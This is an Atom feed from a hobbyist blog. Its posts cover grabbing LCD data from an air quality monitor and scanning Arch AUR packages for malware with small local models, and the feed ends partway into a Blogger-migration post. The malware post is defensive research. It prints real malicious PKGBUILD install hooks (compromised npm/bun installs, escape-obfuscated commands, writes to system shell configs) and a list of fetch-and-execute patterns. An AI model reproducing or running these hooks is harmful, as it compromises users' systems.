<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://drinkc.at/feed.xml" rel="self" type="application/atom+xml" /><link href="https://drinkc.at/" rel="alternate" type="text/html" /><updated>2026-07-21T06:37:11+00:00</updated><id>https://drinkc.at/feed.xml</id><title type="html">drinkc.at: a blogcat(?)</title><subtitle>... or a drinkblog. drinkcat&apos;s musings (a.k.a. Nicolas Boichat), on various topics that I feel like writing about ,-)</subtitle><author><name>Nicolas Boichat</name></author><entry><title type="html">Grabbing LCD display content on an air quality monitor</title><link href="https://drinkc.at/blog/2026/07/21/air-quality-monitor-lcd-grab/" rel="alternate" type="text/html" title="Grabbing LCD display content on an air quality monitor" /><published>2026-07-21T03:00:00+00:00</published><updated>2026-07-21T03:00:00+00:00</updated><id>https://drinkc.at/blog/2026/07/21/air-quality-monitor-lcd-grab</id><content type="html" xml:base="https://drinkc.at/blog/2026/07/21/air-quality-monitor-lcd-grab/"><![CDATA[<p>A few years ago, I bought a simple air quality monitor. It’s not “smart”, and the data is simply shown on a LCD display. I went on a small adventure trying to convert it to a connected device, and extract the data so that it could be plotted on a graph (e.g. to tell the effectiveness of an air purifier).</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-aq-monitor-aq-monitor-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/aq-monitor/aq-monitor-thumb.jpg" alt="No clue how accurate, especially TVOC and CO2. But PM2.5/temperature/humidity data looks relatively correct." style="max-width: 50%" />
  </a>
  <figcaption><em>No clue how accurate, especially TVOC and CO2. But PM2.5/temperature/humidity data looks relatively correct.</em></figcaption>
</figure>

<div id="img-images-aq-monitor-aq-monitor-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/aq-monitor/aq-monitor.jpg" alt="No clue how accurate, especially TVOC and CO2. But PM2.5/temperature/humidity data looks relatively correct." />
</div>

<p>Of course, the easiest approach would be to buy a new sensor (that same manufacturer has one with Wifi enabled nowadays), or even roll your own with an ESP32 and parts. But in the spirit of my <a href="/blog/2026/04/07/zapper-counter/">vibe-EEing experiments</a>, I thought I’d have a bit of Claude-assisted fun.</p>

<h3 id="ram-dumps-via-icsp">RAM dumps via ICSP</h3>

<p>I dismantled the air quality monitor, found out it’s based on a simple PIC32MM. My first hope was to be able to use the ICSP (In-Circuit Serial Programming) debugger and repeatedly dump the RAM content to find where and how the air quality data is stored.</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-aq-monitor-pic32mm-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/aq-monitor/pic32mm-thumb.jpg" alt="The PIC32MM MCU on the monitor's PCB" style="max-width: 60%" />
  </a>
  <figcaption><em>The PIC32MM MCU on the monitor's PCB</em></figcaption>
</figure>

<div id="img-images-aq-monitor-pic32mm-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/aq-monitor/pic32mm.jpg" alt="The PIC32MM MCU on the monitor's PCB" />
</div>

<p>The PCB is only 2 layers, so it’s reasonably easy to trace pins from the MCU to headers. The programming header is 5 simple pins (MCLR, VDD, GND, PGED, PGEC).</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-aq-monitor-icsp-header-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/aq-monitor/icsp-header-thumb.jpg" alt="The 5-pin ICSP header (MCLR, VDD, GND, PGED, PGEC)" style="max-width: 60%" />
  </a>
  <figcaption><em>The 5-pin ICSP header (MCLR, VDD, GND, PGED, PGEC)</em></figcaption>
</figure>

<div id="img-images-aq-monitor-icsp-header-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/aq-monitor/icsp-header.jpg" alt="The 5-pin ICSP header (MCLR, VDD, GND, PGED, PGEC)" />
</div>

<p>I did not have a PIC32MM programmer on hand, and some good packages exist for RP2040 (<a href="https://github.com/kiffie/pic32probe">kiffie/pic32probe</a>), but I only had some ESP32-C6 boards available. So I just ended up vibe-coding a programmer in Rust/embassy for that board. It was quite interesting to see Claude struggle with the spec, and it ended referencing the <code class="language-plaintext highlighter-rouge">pic32probe</code> code A LOT. Working code is <a href="https://github.com/drinkcat/aq-icsp-esp">here</a>, not that it’s particularly worthwhile.</p>

<p>That idea, however, quickly died: the device is code-protected. In this mode, it is not possible to read back the firmware (not my plan anyway), nor use the debugger. The only thing I could have done is to completely reflash the chip, not what I wanted to do here.</p>

<h3 id="lcd-grabbing">LCD grabbing</h3>

<p>The next idea is quite a bit more advanced (and where it gets really fun!). Now that I know the MCU is a simple PIC32MM, with only 32 KB of RAM, it’s clear that it could not hold a full framebuffer (so the LCD has to be somewhat smart), and that signals have to be reasonably low speed.</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-aq-monitor-fpc-adapter-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/aq-monitor/fpc-adapter-thumb.jpg" alt="39-pin 2mm FPC to 2.54mm DIP adapter used for early experiments." style="max-width: 60%" />
  </a>
  <figcaption><em>39-pin 2mm FPC to 2.54mm DIP adapter used for early experiments.</em></figcaption>
</figure>

<div id="img-images-aq-monitor-fpc-adapter-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/aq-monitor/fpc-adapter.jpg" alt="39-pin 2mm FPC to 2.54mm DIP adapter used for early experiments." />
</div>

<p>I started probing the LCD connector. It’s a bit of a headache to count pins on 2mm pitch connector or FPC and set the multimeter/oscilloscope probe correctly, so I found a <a href="https://shopee.tw/FPC-%E8%BD%89%E6%8E%A5%E6%9D%BF-39Pin%EF%BC%9A%E6%9D%9C%E9%82%A6-2.0-2.54mm-%E8%BD%89-FPC-39P%EF%BC%8C%E9%96%93%E8%B7%9D0.3mm%EF%BC%8FDIP-LVDS-MIPI%E6%9D%BF-i.6760059.19416173271">39-pin 2mm FPC to 2.54mm DIP adapter</a> on Shopee to make my life easier, and ended up with the following pinout guess:</p>

<ul>
  <li>1 GND</li>
  <li>2-17 pulses
    <ul>
      <li>7-12 also pulses, but sometimes lingering at 3.3V</li>
      <li>From 11-17, lower frequency? Slower high/low pulses</li>
    </ul>
  </li>
  <li>18-19 GND</li>
  <li>20 high</li>
  <li>22 pulses – very regular, I wonder if this is some clocking?
    <ul>
      <li>500ns down pulses every ~1.5us</li>
    </ul>
  </li>
  <li>23 short pulses? End of something?
    <ul>
      <li>~500ns low pulse every ~10us</li>
    </ul>
  </li>
  <li>24 very short pulses, frequent
    <ul>
      <li>~200 ns low pulses every ~1.5us</li>
    </ul>
  </li>
  <li>33/35/36/37 3.3V (all shorted confirmed)</li>
</ul>

<p>Based on this information, and a bit of further probing<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>, Claude helped me figure out this is probably an ILI9488 or ST7796S chip (or similar), using a 16-bit 8080 parallel MCU interface. Those are “smart” displays that take in partial updates commands, making them well suited to be driven from a small MCU like the PIC32MM.</p>

<p>The final Claude-authored notes about the display and pinout are here: <a href="https://github.com/drinkcat/aq-lcd-grab/blob/main/docs/display_notes.md"><code class="language-plaintext highlighter-rouge">display_notes.md</code></a>.<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup></p>

<h3 id="rp2350-based-grabber">RP2350-based grabber</h3>

<p>After a bit of back and forth with Claude, I ended up getting a Raspberry Pico 2 W board for further experiments. The RP2350 has an excellent programmable I/O (PIO) controller that makes it very easy to prototype: no fixed trigger pin assignment, and it’s easy to adjust edge and timing.</p>

<p>I told Claude to write a RP2350 firmware in Rust/embassy, and I played smart hands for the AI. I connected the pins as it advised, pressed the bootloader/reset buttons as instructed. After a while, got a bit tired of being reduced to an assistant button presser for the AI, so I asked Claude to write functions to reset the board to bootloader mode, to make it able to reflash the firmware unattended.</p>

<p>And then basically watched it experiment (under some supervision). One of the challenges was to identify the purpose of pins 22/23/24, and the exact capture timing. The key here is <code class="language-plaintext highlighter-rouge">WR</code> (pin 24) that latches the data bus pins 0-15 on an edge. The <code class="language-plaintext highlighter-rouge">DC</code> (pin 23) is also quite important, as it is active at the beginning of each LCD command. A challenge with the <code class="language-plaintext highlighter-rouge">DC</code> (pin 23) is that it seemed to transition close to the <code class="language-plaintext highlighter-rouge">WR</code> edge. A small delay in the PIO capture code helped.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">prg</span> <span class="o">=</span> <span class="nd">pio_asm!</span><span class="p">(</span>
    <span class="s">".wrap_target"</span><span class="p">,</span>
    <span class="c1">// Falling-edge sampling. After WR transitions high→low we</span>
    <span class="c1">// re-check that WR is actually still low — filters any</span>
    <span class="c1">// spurious mid-cycle dips on WR (e.g. ringing on the</span>
    <span class="c1">// rising edge of the previous pulse) that would otherwise</span>
    <span class="c1">// produce a phantom sample.</span>
    <span class="s">"start:"</span><span class="p">,</span>
    <span class="s">"    wait 1 gpio 18"</span><span class="p">,</span> <span class="c1">// 18: WR</span>
    <span class="s">"    wait 0 gpio 18 [2]"</span><span class="p">,</span> <span class="c1">// short delay, then recheck WR</span>
    <span class="s">"    jmp pin, start"</span><span class="p">,</span> <span class="c1">// pin: WR</span>
    <span class="s">"    in pins, 18"</span><span class="p">,</span> <span class="c1">// 0..15 == DB0..15, 16: CS, 17: DC, 18: WR</span>
    <span class="s">".wrap"</span><span class="p">,</span>
<span class="p">);</span>
</code></pre></div></div>

<p>All of this was figured out with a mix of reading the spec, and trial and error. I’m still not convinced that using the falling edge + short delay is correct, but that seems to be what works best. I’ll also say that watching Claude struggle was sometimes frustrating, it often gets stuck in reasoning loops, but it seemed to be possible to make it escape those with (sometimes aggressive) nudging.</p>

<p>The final RP2350 firmware is in <a href="https://github.com/drinkcat/aq-lcd-grab/blob/main/firmware">this folder</a>.<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup></p>

<h3 id="host-side-display-app">Host-side display app</h3>

<p>As part of the experiments, I asked Claude to write an LCD command parser, first to debug the capture visually, and then to actually write code to grab the data. I gave complete freedom to Claude, and it picked <code class="language-plaintext highlighter-rouge">eframe</code> for this.</p>

<p>The whole setup looks like this: an FPC adapter tapping the LCD signals, a Pico 2 for capture, and decoding live on the laptop.</p>

<figure style="text-align: center">
  <a onclick="document.getElementById('img-images-aq-monitor-rp2350-setup-jpg').classList.add('open')" style="cursor: zoom-in">
    <img src="/images/aq-monitor/rp2350-setup-thumb.jpg" alt="Early versions had sync issues with black and white digits (temperature/humidity)." style="max-width: 40%" />
  </a>
  <figcaption><em>Early versions had sync issues with black and white digits (temperature/humidity).</em></figcaption>
</figure>

<div id="img-images-aq-monitor-rp2350-setup-jpg" class="lightbox" onclick="this.classList.remove('open')">
  <img src="/images/aq-monitor/rp2350-setup.jpg" alt="Early versions had sync issues with black and white digits (temperature/humidity)." />
</div>

<p>I must say the result feels quite magical:</p>

<div style="display: flex; justify-content: center; gap: 1em; flex-wrap: wrap;">
<figure style="text-align: center">
  <iframe width="315" height="560" src="https://www.youtube.com/embed/1gJBx6j07Io" frameborder="0" allowfullscreen=""></iframe>
</figure>

<figure style="text-align: center">
  <iframe width="315" height="560" src="https://www.youtube.com/embed/CnENXiT2JiE" frameborder="0" allowfullscreen=""></iframe>
</figure>
</div>

<p>The right-side video perhaps gives the best picture of how the display is updated. There are two things to watch out for:</p>
<ul>
  <li>Single digits are updated at fixed positions using partial rectangular repaints, and it’s only on reset that the display is fully repainted. For example, when the PM2.5 value changes from <code class="language-plaintext highlighter-rouge">12</code> to <code class="language-plaintext highlighter-rouge">15</code>, only the unit digit <code class="language-plaintext highlighter-rouge">5</code> is repainted. This means that we cannot be certain of the complete value unless we grab data from boot time.</li>
  <li>We also need to be careful when multiple digits are updated, e.g. a temperature change from <code class="language-plaintext highlighter-rouge">30</code> to <code class="language-plaintext highlighter-rouge">29</code> may be briefly displayed as <code class="language-plaintext highlighter-rouge">20</code>.</li>
</ul>

<p>From there, converting the displayed information to numerical data is reasonably easy and completely deterministic: There are only 10 glyphs (digits 0-9) of 3 different sizes, as well as a decimal separator for TVOC data. We can simply grab all possible digits, ask Claude to classify them (or just do this by hand). Then, at runtime, we can just compare glyphs pixel by pixel to the references.</p>

<p>The code of the host is <a href="https://github.com/drinkcat/aq-lcd-grab/tree/main/host">here</a>. It also relies on other workspace crates as they ended up being reused later on embedded platforms.</p>

<hr />

<p>That’s it for now. In the next posts I’ll look a bit at bandwidth issues, data compression, design of a hybrid ESP32+STM32 platform, Claude-assisted PCB design, and finally some home assistant integration.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>I later ended up finding the exact model on Alibaba after disassembling the whole unit, which required unglueing the display. I only did that because I accidentally broke the flex, and needed to order a replacement unit, but that’s another story. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>Like all the other markdown documents I link here, they are Claude-generated, and the content might be left in some slightly outdated shape: I made no attempt to clean anything up. They should still be human readable though. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>Similar note, the firmware code is a fairly quick-and-dirty semi-vibe-coded experiment, it works for me, but it’s not necessarily in a shippable or secure shape. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Nicolas Boichat</name></author><category term="linux" /><summary type="html"><![CDATA[A few years ago, I bought a simple air quality monitor. It's not "smart", and the data is simply shown on a LCD display. I went on a small adventure trying to convert it to a connected device, and extract the data so that it could be plotted on a graph (e.g. to tell the effectiveness of an air purifier). Of course, the easiest approach would be to buy a new sensor (that same manufacturer has one with Wifi enabled nowadays), or even roll your own with an ESP32 and parts. But in the spirit of my vibe-EEing experiments, I thought I'd have a bit of Claude-assisted fun.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://drinkc.at/images/aq-monitor/rp2350-setup.jpg" /><media:content medium="image" url="https://drinkc.at/images/aq-monitor/rp2350-setup.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">AUR malware detection with small local model</title><link href="https://drinkc.at/blog/2026/06/16/aur-malware-detection-small-local-model/" rel="alternate" type="text/html" title="AUR malware detection with small local model" /><published>2026-06-16T07:00:00+00:00</published><updated>2026-06-16T10:00:00+00:00</updated><id>https://drinkc.at/blog/2026/06/16/aur-malware-detection-small-local-model</id><content type="html" xml:base="https://drinkc.at/blog/2026/06/16/aur-malware-detection-small-local-model/"><![CDATA[<p>The Archlinux AUR (<a href="https://wiki.archlinux.org/title/Arch_User_Repository">Arch User Repository</a>) recently had issues with an influx of malicious
<code class="language-plaintext highlighter-rouge">PKGBUILD</code>s (<a href="https://archlinux.org/news/active-aur-malicious-packages-incident/">incident report</a>).
Those are unofficial package descriptions, and users are supposed to review <code class="language-plaintext highlighter-rouge">PKGBUILD</code>
themselves before installing them, but that obviously doesn’t always happen<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. As a
weekend experiment, I wanted to see how LLMs would fare at auto-detecting malicious
content, without playing the token-maxing game.</p>

<p><strong>A short disclaimer</strong>: Not an expert at this, just a weekend experiment that I thought
would be interesting to some. Text: human-generated. Code: not.</p>

<h3 id="attack-patterns">Attack patterns</h3>

<p>The first wave of attack consisted in diffs that look like this, installing <code class="language-plaintext highlighter-rouge">npm</code>, then
a compromised <code class="language-plaintext highlighter-rouge">atomic-lockfile</code> package:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/PKGBUILD b/PKGBUILD
</span><span class="gd">--- a/PKGBUILD
</span><span class="gi">+++ b/PKGBUILD
</span><span class="p">@@ -8,6 +8,7 @@</span>
<span class="gi">+  'npm'
</span><span class="p">@@ -19,6 +20,7 @@</span>
<span class="gi">+install=xxx-bin-deps.install
</span><span class="gh">diff --git a/xxx-bin-deps.install b/xxx-bin-deps.install
</span><span class="gd">--- /dev/null
</span><span class="gi">+++ b/xxx-bin-deps.install
</span><span class="p">@@ -0,0 +1,4 @@</span>
<span class="gi">+post_install() {
+  cd /tmp
+  npm install atomic-lockfile glob ansi-colors
+}
</span></code></pre></div></div>

<p>A second wave did something similar with <code class="language-plaintext highlighter-rouge">bun</code> instead of <code class="language-plaintext highlighter-rouge">npm</code>.</p>

<h3 id="vibe-coded-scanner">Vibe-coded scanner</h3>

<p>My first thought was to see how much of my Claude credits it would cost to scan every
package description change on the AUR. Unlike other more elaborate setups, I
only focus on the package description itself (<code class="language-plaintext highlighter-rouge">PKGBUILD</code>, additional patches, scripts…).
If the source itself is harmful, it’s a different, wider ecosystem problem.</p>

<p>I just put Claude in auto-mode to try to solve the problem. AUR provides some API
surface, so the script simply fetches an updated AUR metadata database (if available),
and then fetches all the diffs for updated package descriptions.</p>

<p>Then, the following instructions are fed to the model, followed by each individual diff:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>You are a supply-chain security analyst reviewing the git diff of one Arch Linux
AUR package for malware. Judge ONLY the code in the diff — what it would *do* if
built or installed. The package's name, age, vote count, or popularity is NOT
evidence of anything; ignore it. For a brand-new package the diff is the initial
commit (the full PKGBUILD/scripts as `+` additions); otherwise it is just the
change. Focus on added lines (`+`).

Flag a diff only for concrete malicious behaviour:
- remote fetch-and-execute (`curl|bash`, `bash &lt;(curl)`, `python -c` fetching,
  `base64 -d | sh`, `eval` of downloaded data)
- hardcoded IP:port / C2; sources from paste sites, raw gists, IP URLs,
  file-drop hosts, URL shorteners, ngrok
- write + `chmod +x` + exec in `/tmp`; systemd unit / cron / timer pointing at
  dropped files; `sudo`
- obfuscation (long base64/hex, `\\x` escapes)
- a binary for a well-known app sourced from a non-official domain
  (typosquat / masquerade)
- installing/running unrelated packages (e.g. `npm install`/`npx`) in build()
  or an install hook

Most diffs are ordinary packaging and are `clean`. Do NOT downgrade a clean diff
to `review` just because the package is new, unpopular, or sparsely documented —
that is not a security signal. Legitimate `-bin` packages pulling from the
vendor's official release URL are clean.

Verdict scale (pick the lowest that fits):
- clean      : nothing concerning in the diff. This is the common case.
- review     : a specific line is genuinely ambiguous and a human should look —
               not "could be anything", but "this exact thing might be bad".
- suspicious : a concrete pattern above is present and not clearly legitimate.
- malicious  : clear fetch-and-execute, C2, or obfuscated payload.

Respond with ONLY a JSON object (no prose, no markdown fences). For a clean
diff, leave iocs/reasons/evidence empty:
{
  "verdict": "clean | review | suspicious | malicious",
  "confidence": 0.0,
  "iocs": ["130.162.225.47:8080", "https://..."],
  "reasons": ["one-line findings tied to a specific line"],
  "evidence": [{"snippet": "exact line", "why": "what's wrong"}]
}
</code></pre></div></div>

<p>I had almost no input on that prompt (vibe-prompting?), I think it’s quite reasonable,
but maybe overfitted to actual attacks on hand here (one of the future attacks used
exactly one of the patterns mentioned in the prompt though)…</p>

<p>I don’t think the code itself is of major value, I can post it if people are interested
but it’s just a prompt away from being regenerated: you could just feed this post to a
good model.</p>

<p>Claude Haiku was definitely able to detect the existing malicious packages, with no
false positive<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>.</p>

<h3 id="model-choice">Model choice</h3>

<p>There are about 1000-2000 pushes to the AUR every day, and it quickly became obvious the
costs of something like Claude Haiku would be too high: somebody mentioned 0.03$
per package, so 30-60$/day, or ~1000-2000$/month, reasonable with a token-maxing
mindset, absolutely not as a hobby project, or for a non-profit like Arch.</p>

<p>So I decided to try local models. I only have a ~3 year old laptop with a beefy CPU
(Intel Raptor Lake, 6 Performance-cores, 8 Efficient-cores), and a ton of RAM (64GB),
but a totally useless integrated GPU<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>.
A bit of prompting later, I ended up trying the <a href="https://ai.google.dev/gemma/docs/core">Google Gemma 4</a>
models, that are supposed to be able to run well on CPU.</p>

<p>I first tried the biggest I could run: Gemma 4 26B A4B (mixture of experts, 4B active
parameters), and it was definitely able to catch the malicious samples I collected.</p>

<p>I then sent Claude on a mission to test different models (all 4-bit quantized GGUFs
running with llama.cpp):</p>

<table>
  <thead>
    <tr>
      <th>Model</th>
      <th>Size</th>
      <th style="text-align: center">Malware caught</th>
      <th>Total time</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Gemma 4 26B</td>
      <td>14 GB</td>
      <td style="text-align: center">7/7</td>
      <td>(similar to E4B)</td>
    </tr>
    <tr>
      <td>Gemma 4 E4B</td>
      <td>5 GB</td>
      <td style="text-align: center">7/7</td>
      <td>389s</td>
    </tr>
    <tr>
      <td>Gemma 4 E2B</td>
      <td>3.2 GB</td>
      <td style="text-align: center">7/7</td>
      <td>110s ⚡</td>
    </tr>
    <tr>
      <td>Qwen3.5-4B</td>
      <td>2.7 GB</td>
      <td style="text-align: center">❌ 4/7</td>
      <td>476s</td>
    </tr>
  </tbody>
</table>

<p>E4B is less RAM-intensive, but about the same speed as 26B A4B from my recollection – seems
like that’s what the mixture of experts thing is good at: the number of active parameters stays
small (“A4B”). Qwen3.5-4B did <em>not</em> perform well. E2B was a very good surprise though:
~3.5x faster than E4B/26B A4B, while using much less RAM.</p>

<p>Suddenly we have a system that can detect malware with a few decent CPU cores and 4GB of
RAM, in about 20s per package. More than fast enough to scan every single change if
running 24/7.</p>

<h3 id="new-detections">New detections</h3>

<p>It’s unclear how well the small model would perform with serious attacks, but it was able
to detect 2 more waves after I set it up:</p>
<ul>
  <li>
    <p><a href="https://www.phoronix.com/news/Arch-Linux-AUR-More-Malware">Slightly obfuscated content</a> (or as somebody mentioned in a phoronix comment, <em>That doesn’t obfuscate anything, it just screams “look at me, I’m doing something nefarious”</em>):</p>

    <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install
</span><span class="gd">--- /dev/null
</span><span class="gi">+++ b/htbrowser-bin-deps.install
</span><span class="p">@@ -0,0 +1,3 @@</span>
<span class="gi">+post_install() {
+  $'\x63'"d" "/"'t'"m"'p' &amp;&amp; "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
+}
</span></code></pre></div>    </div>
  </li>
  <li>
    <p>And <a href="https://www.phoronix.com/news/Arch-Linux-AUR-Russian-Spam">insults</a> in what looks like Russian (technically harmless, still malicious though):</p>

    <div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/PKGBUILD b/PKGBUILD
index e1d51c2d80d0..55a192de8f60 100644
</span><span class="gd">--- a/PKGBUILD
</span><span class="gi">+++ b/PKGBUILD
</span><span class="p">@@ -20,6 +20,13 @@</span> build() {
<span class="gi">+post_install() {
+  echo 'echo '[insert insults]'' &gt;&gt; /etc/bash.bashrc
+  echo 'echo '[insert insults]'' &gt;&gt; /etc/zsh/zshrc
+  echo 'echo '[insert insults]'' &gt;&gt; /etc/fish/config.fish
+  echo 'echo '[insert insults]'' &gt;&gt; /etc/profile.d/albanianvirus2.sh
+}
+
</span></code></pre></div>    </div>
  </li>
</ul>

<p>It also picked up 2 smaller issues with other package descriptions, that are
packaging mistakes rather than actual malicious behaviour:</p>
<ul>
  <li>One author kept pushing empty git commits, which caused the model to hallucinate a
serious attack. Clearly a false positive, I fixed the script, and also notified the author (pushing empty commits isn’t very useful).</li>
  <li>A malformed package obtaining version from a git tag:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+pkgver=VERSION # This will be automatically updated by makepkg via pkgver()
</code></pre></div>    </div>
  </li>
</ul>

<p>I think there were a few more false positives, and a few model crashes/errors that could be
fixed by fine-tuning the script with more data, but the false positive rate has been very low.</p>

<h3 id="p-cores-vs-e-cores-and-gpu">P-cores vs E-cores (and GPU)</h3>

<p>And just another fun one to conclude, running this on my laptop makes it really hot.
Claude did some experiments and noticed that pinning to the E cores is better for peak
power consumption (but similar total energy – captured using RAPL).</p>

<table>
  <thead>
    <tr>
      <th>Mask</th>
      <th style="text-align: center">Time/classify</th>
      <th style="text-align: center">Avg power</th>
      <th style="text-align: center">Energy/classify</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0,2,4,6,8,10</code> — 6 P-cores</td>
      <td style="text-align: center">3.98s</td>
      <td style="text-align: center">31.6 W</td>
      <td style="text-align: center">125.6 J</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">12-19</code> — all 8 E-cores</td>
      <td style="text-align: center">8.88s</td>
      <td style="text-align: center">13.0 W</td>
      <td style="text-align: center">115.2 J</td>
    </tr>
    <tr>
      <td>GPU (Iris Xe, SYCL)</td>
      <td style="text-align: center">13.9s</td>
      <td style="text-align: center">14.9 W</td>
      <td style="text-align: center">206 J</td>
    </tr>
  </tbody>
</table>

<p>While at it, I also wanted to double-check how the GPU fares. It took a while to
install the SYCL llama.cpp (from AUR), and, performance/power is not worth it.</p>

<p>Running this kind of quick-and-dirty performance experiment has become extremely
easy nowadays (one prompt vs hours of trying to figure out how to use RAPL properly).</p>

<h3 id="future">Future?</h3>

<p>Probably not much, I may try to keep running this script for a while to see if I pick
up more bad packages.</p>

<p>The code would probably need to be rewritten to run seriously in production,
and a lot of other people seem to be interested in that space, but I thought this
experiment provides insights into what is possible with a small local model.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Those attacks focused on abandoned package descriptions. It makes me hope that
the real-world impact is minimal (abandoned packages <em>shouldn’t</em> be the most popular
ones, hopefully).
I also believe there are systematic issues about the AUR system itself
that need to be fixed, it looks like the Arch team are on it. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>False negatives are always trickier to measure of course… Nothing guarantees I
didn’t miss another malware class in the flood. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>Useless for running LLMs, good enough to play Factorio, what more do you need in life. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Nicolas Boichat</name></author><category term="linux" /><summary type="html"><![CDATA[The Archlinux AUR ([Arch User Repository](https://wiki.archlinux.org/title/Arch_User_Repository)) recently had issues with an influx of malicious `PKGBUILD`s ([incident report](https://archlinux.org/news/active-aur-malicious-packages-incident/)). Those are unofficial package descriptions, and users are supposed to review `PKGBUILD` themselves before installing them, but that obviously doesn't always happen. As a weekend experiment, I wanted to see how LLMs would fare at auto-detecting malicious content, without playing the token-maxing game.]]></summary></entry><entry><title type="html">Mass-import blogger to markdown</title><link href="https://drinkc.at/blog/2026/06/05/mass-import-blogger-to-markdown/" rel="alternate" type="text/html" title="Mass-import blogger to markdown" /><published>2026-06-05T06:00:00+00:00</published><updated>2026-06-05T06:00:00+00:00</updated><id>https://drinkc.at/blog/2026/06/05/mass-import-blogger-to-markdown</id><content type="html" xml:base="https://drinkc.at/blog/2026/06/05/mass-import-blogger-to-markdown/"><![CDATA[<p>I have an older blog on Blogspot from many years ago – it’s still up, but there’s no telling for how long. Looking at the content, I thought some of it was still somewhat interesting (at least to me, as a trip down memory lane), so it’d be worthwhile converting the articles to markdown and including them here.</p>

<p>This idea came when listening to the excellent <a href="https://www.theverge.com/the-vergecast">Vergecast</a>, and in particular this episode, where they mention using AI to fix up formatting in their archive:</p>

<blockquote>
  <p>I’ll give you an example just from our own little database. The Verge is a database. Like, what is a website? It’s a big database full of stories. There’s a bunch of old features in our database that are broken because of successive redesigns or web standards, changes, or whatever it is. After 15 years, there are stories on our site that are broken. I’m like, we should just let Claude fix them.</p>

  <p>This is a classic example of we would never pay a human being to go through the archive because we’ll never get enough traffic to pay back the work. And it’s like, I can, this is what it’s for. It’s amazing. Its ability to strip bad HTML and replace it with good HTML is […] a fundamental capability of Claude Code. And I don’t have this […] labor anxiety about it because in no world was that ever a good idea to set a human upon doing. Like it just economically made no sense. Engineers want to make new things that people care about. They don’t want to make old things. Or fix old things.</p>

  <p>— <a href="https://www.theverge.com/podcast/909621/openai-sam-altman-drama-vergecast">Vergecast: Fear and Loathing at OpenAI</a> (<a href="https://www.tapesearch.com/episode/fear-and-loathing-at-openai/LMY9ghUmbGawMJZ5DNeoJ4">transcript</a>)<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup></p>
</blockquote>

<p>This totally resonated with me. It would not be worth doing the work myself, but if I can just throw tokens at it? Sure.</p>

<p>So I did, just that. “I” downloaded the whole of my old blog using recursive <code class="language-plaintext highlighter-rouge">wget</code>. Then asked Claude to convert one page to markdown, and write down instructions. I then looked at the output, asked it to iterate on the instructions. Once I got a bit more confident, I asked it to convert batches of 5-10 pages at a time.</p>

<p>Took me maybe 2 to 3 hours, and, not that many tokens – you don’t need a very smart model for this.</p>

<p>Here’s the final guide, for reference:</p>

<div class="small-code">

  <div class="language-markdown highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh"># Blogger Import Guide</span>

Migrating posts from https://drinkcat.blogspot.com/ to this Jekyll blog,
one at a time.

<span class="gu">## Source material</span>
<span class="p">
-</span> Mirrored HTML: <span class="sb">`blogger-mirror/drinkcat.blogspot.com/YYYY/MM/slug.html`</span>
<span class="p">-</span> All posts listed at: <span class="sb">`blogger-mirror/drinkcat.blogspot.com/index.html`</span>

